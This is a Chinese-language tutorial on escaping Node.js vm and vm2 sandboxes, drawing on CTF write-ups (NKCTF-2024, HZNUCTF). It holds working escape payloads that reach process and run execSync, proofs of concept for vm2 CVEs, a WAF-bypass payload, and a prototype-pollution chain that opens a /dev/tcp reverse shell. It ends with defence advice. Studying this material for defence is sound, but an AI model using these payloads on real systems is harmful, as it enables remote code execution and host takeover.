NodeJS沙箱逃逸
字数 1863 2025-08-22 12:22:24
NodeJS沙箱逃逸全面解析
一、沙箱基础概念
1.1 沙箱的定义与作用
沙箱是一种安全机制,通过隔离和限制程序对系统资源的访问,为运行不信任的代码提供安全环境。在Node.js中,沙箱主要用于:
- 隔离不信任代码的执行环境
- 防止恶意代码影响宿主系统
- 提供可控的资源访问权限
1.2 Node.js中的作用域
Node.js中有三种主要作用域:
-
全局作用域(Global Scope):
- 通过
global对象访问 - 包含
console、process、Buffer等内置对象 - 所有模块均可访问
- 通过
-
模块作用域(Module Scope):
- 每个Node.js文件是一个独立模块
- 默认变量和函数不暴露给其他模块
- 通过
module.exports或exports显式导出
-
VM沙箱作用域:
- 通过
vm模块创建的全新作用域 - 与其他作用域隔离
- 可自定义初始环境
- 通过
二、Node.js VM模块详解
2.1 核心API
-
vm.Script:
new vm.Script(code[, options]):创建预编译脚本对象script.runInContext(contextifiedSandbox[, options]):在指定上下文执行script.runInNewContext([sandbox[, options]]):创建新上下文并执行
-
vm.createContext([sandbox[, options]]):
- 创建独立的上下文(沙箱)
- 可包含预定义变量和函数
- 无法访问global中的属性
-
vm.runInContext(code, contextifiedSandbox[, options]):
- 在指定上下文中执行代码
- 参数值与沙箱内参数值相同
-
vm.runInNewContext(code[, sandbox[, options]]):
createContext()和runInContext()的结合
-
vm.runInThisContext(code[, options]):
- 在当前上下文中运行代码
- 可直接访问当前作用域变量
2.2 VM沙箱特性
- 沙箱中可以访问global中的属性
- 无法访问其他包的属性(本地属性)
- 通过创建新的作用域实现隔离
三、VM沙箱逃逸技术
3.1 基础逃逸方法
"use strict";
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);
原理分析:
this指向传递给runInNewContext的对象- 访问
this.constructor.constructor获取Function构造器 - 由于继承关系,Function构造器作用域是全局
- 执行代码获取外部global对象
3.2 绕过Object.create(null)
当沙箱使用Object.create(null)创建时:
const vm = require('vm');
const script = `(function(){
const a = {}
a.toString = function() {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res);
技术要点:
- 利用
arguments.callee.caller获取调用者 - 重写
toString方法触发执行 - 通过字符串拼接自动调用
toString
四、VM2沙箱逃逸技术
VM2在VM基础上增加了更多安全限制,主要利用Proxy特性进行防护。
4.1 CVE-2019-10761 (VM2 <=3.6.10)
"use strict";
const {VM} = require('vm2');
const untrusted = `const f = Buffer.prototype.write;
const ft = { length: 10, utf8Write(){ }}
function r(i){
var x = 0;
try{ x = r(i); }catch(e){}
if(typeof(x)!=='number') return x;
if(x!==i) return x+1;
try{ f.call(ft); }catch(e){ return e; }
return null;}
var i=1;while(1){
try{ i=r(i).constructor.constructor("return process")(); break; }
catch(x){ i++; }
}i.mainModule.require("child_process").execSync("whoami").toString()`;
try{ console.log(new VM().run(untrusted));}
catch(x){ console.log(x);}
4.2 CVE-2021-23449
利用import()语法绕过沙箱:
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
替代POC:
Symbol = {
get toStringTag(){
throw f=>f.constructor("return process")()
}
};
try{ Buffer.from(new Map());}
catch(f){
Symbol = {};
f(mainModule.require("child_process").execSync("whoami").toString();
}
五、实战案例分析
5.1 NKCTF-2024例题分析
题目代码关键部分:
function waf(code) {
let pattern = /(process|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function(req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch(e){
console.log(e.message);
require('./hack');
}
})
绕过WAF的Payload:
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
绕过技术:
- 使用
String.fromCharCode构造被过滤的关键字 - 利用反射获取被过滤的对象和方法:
Reflect.get(global, Reflect.ownKeys(global).find(x => x.includes('pro')))
5.2 HZNUCTF eznode例题
原型链污染+VM2逃逸:
{
"shit":1,
"__proto__":{
"shellcode":"let res = import('./foo.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/2333 0>&1\"').toString();"
}
}
利用链:
- 通过
__proto__污染原型链 - 设置
shellcode属性为VM2逃逸Payload - 触发
backdoor()函数执行污染后的shellcode
六、防御建议
- 避免使用不受信任的代码:尽可能不要执行用户输入的代码
- 严格过滤输入:对沙箱中执行的代码进行严格的白名单过滤
- 使用最新版本:及时更新VM2等沙箱模块,修复已知漏洞
- 最小权限原则:沙箱环境只提供必要的最小权限
- 深度防御:结合多种安全机制,不依赖单一防护
七、总结
Node.js沙箱逃逸技术主要利用:
- JavaScript原型链特性
- 作用域继承关系
- 全局对象访问路径
- 语言特性的巧妙组合
理解这些技术原理有助于开发更安全的沙箱环境,同时也能帮助安全人员更好地评估系统安全性。